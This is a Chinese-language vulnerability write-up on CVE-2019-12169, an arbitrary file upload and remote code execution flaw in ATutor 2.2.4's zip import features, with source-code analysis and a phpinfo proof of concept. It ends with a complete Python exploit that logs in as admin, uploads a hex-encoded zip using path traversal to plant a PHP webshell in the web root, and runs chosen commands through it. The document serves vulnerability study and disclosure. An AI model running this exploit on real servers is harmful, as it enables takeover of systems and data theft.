（CVE-2019-12169）ATutor学习内容管理系统 任意文件上传漏洞
=========================================================

一、漏洞简介
------------

ATutor是ATutor团队的一套开源的基于Web的学习内容管理系统（LCMS）。该系统包括教学内容管理、论坛、聊天室等模块。Atutor与Claroline、
Moddle及Sakai号称为四大开源课程管理系统。

ATutor2.2.4语言导入功能处存在一处安全漏洞(CVE-2019-12169)。攻击者可利用该漏洞进行远程代码执行攻击。

经过分析发现，除了CVE-2019-1216所报道的语言导入功能外，ATutor在其他功能模块中也大量存在着相似的漏洞，本文会在后面针对这一点进行介绍。

二、漏洞影响
------------

ATutor 2.2.4

三、复现过程
------------

据漏洞披露可知，漏洞触发点存在于`mods/_core/languages/language_import.php`文件中

首先跟入language\_import.php文件

    PHP
    <?php
    /****************************************************************/
    /* ATutor                                         */
    /****************************************************************/
    /* Copyright (c) 2002-2010                                      */
    /* Inclusive Design Institute                                   */
    /* http://atutor.ca                                     */
    /*                                                              */
    /* This program is free software. You can redistribute it and/or*/
    /* modify it under the terms of the GNU General Public License  */
    /* as published by the Free Software Foundation.            */
    /****************************************************************/
    // $Id$

    define('AT_INCLUDE_PATH', '../../../include/');
    require(AT_INCLUDE_PATH.'vitals.inc.php');
    admin_authenticate(AT_ADMIN_PRIV_LANGUAGES);

    require_once(AT_INCLUDE_PATH.'classes/pclzip.lib.php');
    require_once(AT_INCLUDE_PATH.'../mods/_core/languages/classes/LanguageEditor.class.php');
    require_once(AT_INCLUDE_PATH.'../mods/_core/languages/classes/LanguagesParser.class.php');

    /* to avoid timing out on large files */
    @set_time_limit(0);

    $_SESSION['done'] = 1;

    if (isset($_POST['submit_import'])){
        require_once(AT_INCLUDE_PATH.'../mods/_core/languages/classes/RemoteLanguageManager.class.php');
        $remoteLanguageManager = new RemoteLanguageManager();
        $language_code = explode("_",$_POST['language']);
        $remoteLanguageManager->import($_POST['language']);
        header('Location: language_import.php');
        exit;
    } else if (isset($_POST['submit']) && (!is_uploaded_file($_FILES['file']['tmp_name']) || !$_FILES['file']['size'])) {
        $msg->addError('LANG_IMPORT_FAILED');
    } else if (isset($_POST['submit']) && !$_FILES['file']['name']) {
        $msg->addError('IMPORTFILE_EMPTY');
    } else if (isset($_POST['submit']) && is_uploaded_file($_FILES['file']['tmp_name'])) {
        $languageManager->import($_FILES['file']['tmp_name']);
        header('Location: ./language_import.php');
        exit;
    }

从language\_import.php文件中35行起，可以发现文件上传相关代码

![1.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId24.png)

从上图红框中代码可知，此处代码块是对文件上传情况进行校验

在文件成功上传后，进入下一个if分支

![2.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId25.png)

在这个分支里，程序将调用\$languageManager-\>import方法对文件进行处理

继续跟入import方法，位于`/mods/_core/languages/classes/LanguageManager.class.php`文件中

    PHP
    // public
    // import language pack from specified file
    function import($filename) {
        global $languageManager, $msg;

        if(strstr($_FILES['file']['name'], 'master')){
            // hack to create path to subdir for imported github language packs
            $import_dir = str_replace(".zip", "", $_FILES['file']['name']).'/';
        } else if(isset($_POST['language'])){
            $import_dir = $_POST['language'].'-master/';
        }
        require_once(AT_INCLUDE_PATH.'classes/pclzip.lib.php');
        require_once(AT_INCLUDE_PATH.'../mods/_core/languages/classes/LanguagesParser.class.php');

        $import_path = AT_CONTENT_DIR . 'import/';
        $import_path_tmp = $import_path.$import_dir;
        $language_xml = @file_get_contents($import_path.'language.xml');
        $archive = new PclZip($filename);

        if ($archive->extract(   PCLZIP_OPT_PATH,    $import_path) == 0) {
            exit('Error : ' . $archive->errorInfo(true));
        }

在import方法中程序调用PclZip对压缩包进行处理

    PHP
    $archive = new PclZip($filename);

    if ($archive->extract(   PCLZIP_OPT_PATH,    $import_path) == 0) {
        exit('Error : ' . $archive->errorInfo(true));
    }

为了更好的理解import方法的执行流程，我们将会进行动态调试。首先构造一个poc.php

    PHP
    <?php phpinfo(); ?>

将这个poc.php打包为poc.zip

![3.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId26.png)

访问如下链接以进入上传页面

`https://www.0-sec.org/ATutor/mods/_core/languages/language_import.php`

![4.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId27.png)

在上传语言包页面中选择构造好的poc.zip并点击import按钮上传。当请求发送给后台服务器，程序执行到下图断点处

![5.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId28.png)

此时的\$import\_path值为atutor应用的/content/import路径："content/import/"，程序调用PclZip的extract方法对压缩包进行解压。接下来我们介绍以下PclZip类

**PclZip**

PclZip是一个强大的压缩与解压缩zip文件的PHP类，PclZip
library不仅能够压缩与解压缩Zip格式的文件；还能解压缩文档中的内容，同时也可以对现有的ZIP包进行添加或删除文件。

我们接下来看下import方法中是如何使用PclZip，见下图

![6.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId29.png)

程序创建了上传的zip压缩包的一个PclZip对象进行操作与控制，在解压过程中使用了extract方法。该方法中第一个参数是设置项，第二个是对应设置项的值

我们来看下PCLZIP\_OPT\_PATH设置项的作用

![7.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId30.png)

可见，PCLZIP\_OPT\_PATH设置项指定我们上传的zip文件解压目录为\$import\_path参数对应的路径

解压成功后，poc.zip中内容出现在对应文件夹中

![8.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId31.png)

查看poc.php中的值，可以发现poc上传成功

![9.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId32.png)

访问如下地址，触发poc

![10.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId33.png)

除此之外，该应用几乎所有import接口，在后台都采用PclZip将上传的zip解压到对应目录中。然而这些操作无一例外的未对压缩包中的文件进行校验。下面举几个例子：

位于`mods/_core/themes/import.php`文件中的主题导入功能,代码如下:

    PHP
    /**
    * Imports a theme from a URL or Zip file to Atutor
    * @access  private
    * @author  Shozub Qureshi
    */
    function import_theme() {
        global $db;
        global $msg;
        
        if (isset($_POST['url']) && ($_POST['url'] != 'http://') ) {
            if ($content = @file_get_contents($_POST['url'])) {
        
        ⋮
            
        // unzip file and save into directory in themes
        $archive = new PclZip($_FILES['file']['tmp_name']);
        
        //extract contents to importpath/foldrname
        if (!$archive->extract($import_path)) {
            $errors = array('IMPORT_ERROR_IN_ZIP', $archive->errorInfo(true));
            clr_dir($import_path);
            $msg->addError($errors);
            header('Location: index.php'); 
            exit;
        }

可以发现这里也使用了extract方法将上传文件进行解压

来看一下导入主题功能对应的前端页面

![11.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId34.png)

这里页面与导入语音包的页面极其相似，只不过最终解压后存放的路径不同，不再是content/import/，而是themes/

在此处上传构造好的poc.zip，最终poc.php将会被解压到themes文件夹中

![12.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId35.png)

位于`/mods/_standard/tests/question_import.php`文件的问题导入功能

![13.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId36.png)

位于`mods/_standard/patcher/index_admin.php`文件的补丁导入功能

![14.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId37.png)

这些功能无一例外的存在着相似的漏洞

### poc

> CVE-2019-12169.py

    #!/usr/bin/env python
    #
    # Exploit Title: ATutor 2.2.4 'language_import' Arbitrary File Upload / RCE [CVE-2019-12169]
    # Date: 5/24/19
    # Exploit Author: liquidsky (JMcPeters)
    # Vendor Homepage: https://atutor.github.io/
    # Software Link: https://sourceforge.net/projects/atutor/files/latest/download
    # Version: 2.2.4
    # Tested on: Windows 8 / Apache / MySQL (XAMPP)
    # CVE : CVE-2019-12169
    # Author Site: http://incidentsecurity.com/atutor-2-2-4-language_import-arbitrary-file-upload-rce/
    #            : https://github.com/fuzzlove
    #
    # Description: ATutor 2.2.4 allows Arbitrary File Upload and Directory Traversal
    # resulting in remote code execution via a ".." pathname in a ZIP archive to the mods/_core/languages/language_import.php (aka Import New Language) or mods/_standard/patcher/index_admin.php (aka Patcher) component.
    #
    # Greetz: wetw0rk, offsec ^^
    #
    # Notes: This application is no longer being maintained so there is no fix for this issue.

    import sys, hashlib, requests
    import urllib
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
    import time


    print "+-------------------------------------------------------------+"
    print
    print "- ATutor 2.2.4 Arbitrary File Upload / RCE [CVE-2019-12169]"
    print
    print "-          Discovery / PoC by liquidsky (JMcPeters) ^^"
    print
    print "+-------------------------------------------------------------+"

    try:
    #settings
        target   = sys.argv[1]
        username = sys.argv[2]
        password = sys.argv[3]
        commands = sys.argv[4]

    except IndexError:

            print
        print "- usage: %s <target> <username> <password> <command>" % sys.argv[0]
        print "- Example: %s incidentsecurity.com admin mypassword 'whoami'" % sys.argv[0]
            print
        sys.exit()


    # headers to upload zip
    headers = {
        "Accept-Encoding": "gzip, deflate",
        "Referer": "http://" + target + "/ATutor/mods/_core/languages/language_import.php",
        "Connection": "close",
        "Content-Type": "multipart/form-data; boundary=---------------------------CVE201912169",
    }

    # Note: This was successfully tested against a windows install however it should work with linux.
    # -----
    # This will drop a shell on c:\xampp\htdocs\liquidsky.php and or /var/www/html/liquidsky.php
    # using directory traversal.


    # php file payload
    data = ""
    data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
    data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x43"
    data += "\x56\x45\x32\x30\x31\x39\x31\x32\x31\x36\x39\x0d\x0a\x43\x6f"
    data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
    data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
    data += "\x6e\x61\x6d\x65\x3d\x22\x66\x69\x6c\x65\x22\x3b\x20\x66\x69"
    data += "\x6c\x65\x6e\x61\x6d\x65\x3d\x22\x70\x6f\x63\x2e\x7a\x69\x70"
    data += "\x22\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65"
    data += "\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x7a"
    data += "\x69\x70\x0d\x0a\x0d\x0a\x50\x4b\x03\x04\x14\x00\x00\x00\x08"
    data += "\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00\x6a\x00"
    data += "\x00\x00\x2c\x00\x00\x00\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e\x5c"
    data += "\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e\x2f\x78\x61\x6d\x70\x70\x5c"
    data += "\x68\x74\x64\x6f\x63\x73\x5c\x6c\x69\x71\x75\x69\x64\x73\x6b"
    data += "\x79\x2e\x70\x68\x70\xb3\xb1\x2f\xc8\x28\x50\x48\x2d\x4b\xcc"
    data += "\xd1\x50\xb2\xb7\x53\xd2\x4b\x4a\x2c\x4e\x35\x33\x89\x4f\x49"
    data += "\x4d\xce\x4f\x49\xd5\x50\x72\x09\xcc\xf7\x02\x62\x8b\x00\x63"
    data += "\xa7\xfc\x64\x67\xa7\x9c\x48\xa3\x8c\x32\x4f\x0f\xa7\x8c\x64"
    data += "\x63\x3f\x83\x44\x0f\x2f\x43\x6f\xe7\xa0\xb4\x20\x83\xb0\xd0"
    data += "\xf0\xca\x94\xe2\xc8\x70\xd3\xbc\x94\x70\xb7\xbc\xa8\xe0\x94"
    data += "\x14\xef\x90\xe2\xf4\x80\x2a\x13\x3f\xe7\x74\x5b\x5b\x25\x4d"
    data += "\x4d\x6b\x05\x7b\x3b\x00\x50\x4b\x03\x04\x14\x00\x00\x00\x08"
    data += "\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00\x6a\x00"
    data += "\x00\x00\x2c\x00\x00\x00\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f"
    data += "\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x76\x61\x72\x2f\x77\x77"
    data += "\x77\x2f\x68\x74\x6d\x6c\x2f\x6c\x69\x71\x75\x69\x64\x73\x6b"
    data += "\x79\x2e\x70\x68\x70\xb3\xb1\x2f\xc8\x28\x50\x48\x2d\x4b\xcc"
    data += "\xd1\x50\xb2\xb7\x53\xd2\x4b\x4a\x2c\x4e\x35\x33\x89\x4f\x49"
    data += "\x4d\xce\x4f\x49\xd5\x50\x72\x09\xcc\xf7\x02\x62\x8b\x00\x63"
    data += "\xa7\xfc\x64\x67\xa7\x9c\x48\xa3\x8c\x32\x4f\x0f\xa7\x8c\x64"
    data += "\x63\x3f\x83\x44\x0f\x2f\x43\x6f\xe7\xa0\xb4\x20\x83\xb0\xd0"
    data += "\xf0\xca\x94\xe2\xc8\x70\xd3\xbc\x94\x70\xb7\xbc\xa8\xe0\x94"
    data += "\x14\xef\x90\xe2\xf4\x80\x2a\x13\x3f\xe7\x74\x5b\x5b\x25\x4d"
    data += "\x4d\x6b\x05\x7b\x3b\x00\x50\x4b\x01\x02\x14\x03\x14\x00\x00"
    data += "\x00\x08\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00"
    data += "\x6a\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    data += "\x00\x80\x01\x00\x00\x00\x00\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e"
    data += "\x5c\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e\x2f\x78\x61\x6d\x70\x70"
    data += "\x5c\x68\x74\x64\x6f\x63\x73\x5c\x6c\x69\x71\x75\x69\x64\x73"
    data += "\x6b\x79\x2e\x70\x68\x70\x50\x4b\x01\x02\x14\x03\x14\x00\x00"
    data += "\x00\x08\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00"
    data += "\x6a\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    data += "\x00\x80\x01\xb4\x00\x00\x00\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e"
    data += "\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x76\x61\x72\x2f\x77"
    data += "\x77\x77\x2f\x68\x74\x6d\x6c\x2f\x6c\x69\x71\x75\x69\x64\x73"
    data += "\x6b\x79\x2e\x70\x68\x70\x50\x4b\x05\x06\x00\x00\x00\x00\x02"
    data += "\x00\x02\x00\xb4\x00\x00\x00\x68\x01\x00\x00\x00\x00\x0d\x0a"
    data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
    data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x43"
    data += "\x56\x45\x32\x30\x31\x39\x31\x32\x31\x36\x39\x0d\x0a\x43\x6f"
    data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
    data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
    data += "\x6e\x61\x6d\x65\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\x0d\x0a"
    data += "\x0d\x0a\x49\x6d\x70\x6f\x72\x74\x0d\x0a\x2d\x2d\x2d\x2d\x2d"
    data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
    data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x43\x56\x45\x32\x30\x31"
    data += "\x39\x31\x32\x31\x36\x39\x2d\x2d\x0d\x0a"


    #reverse shell url
    shell = "http://" + target + "/liquidsky.php?language=" + commands

    # Generate Hash
    def gen_hash(passwd, token):
            m= hashlib.sha1()
            m.update(passwd + token)
            return m.hexdigest()
     
    def we_can_get_jiggy_with_the_pass():

    # Run pass through SHA1
         hash_object = hashlib.sha1(password)
         hex_dig = hash_object.hexdigest()
         print "[*] Got SHA1 for pass: " + (hex_dig)

         targeturl = "http://" + target + "/ATutor/login.php"
         token = "abc"
         hashed = gen_hash(hex_dig, token)
         d = {
             "form_password_hidden" : hashed,
             "form_login": "admin",
             "submit": "Login",
             "token" : token
         }
         s = requests.Session()

    #Logging in
         r = s.post(targeturl, data=d)
         print "[+] Logging in to system as %s ..." % (username)
         res = r.text

    # url settings, duh
         url = "http://" + target + "/ATutor/mods/_core/languages/language_import.php"

    # A similar method works for the "patcher" function.
        # url = "http://" + target + "/ATutor/mods/_standard/patcher/index_admin.php"

    # This is "the" request to send the zip     
         request = s.post(url, headers=headers, data=data, verify=False)
         print "[+] Sent the zip ......"
         time.sleep(1)

    # Grab shell dude!
         print "[!] *** Remote Code Execution ***"
         request = s.post(shell, verify=False)
         print "[x] http://" + target + "/liquidsky.php?language=" + commands

    # Note be sure to clean up: c:\xampp\htdocs\liquidsky.php and or /var/www/html/liquidsky.php

         if "Administration" in res:
             return True
         return False 
     
    def main():
         if we_can_get_jiggy_with_the_pass():
             print ""
             print "[+] Success! we were able to login!"
             print ""
             print "  ^_~  got r00t?   - [liquidsky 2019]"
         else:         print "[-] failure!" 
     
    if __name__ == "__main__":
         main()

参考链接
--------

> https://kumamon.fun/ATutor-CVE-2019-12169/
>
> https://github.com/fuzzlove/ATutor-2.2.4-Language-Exploit
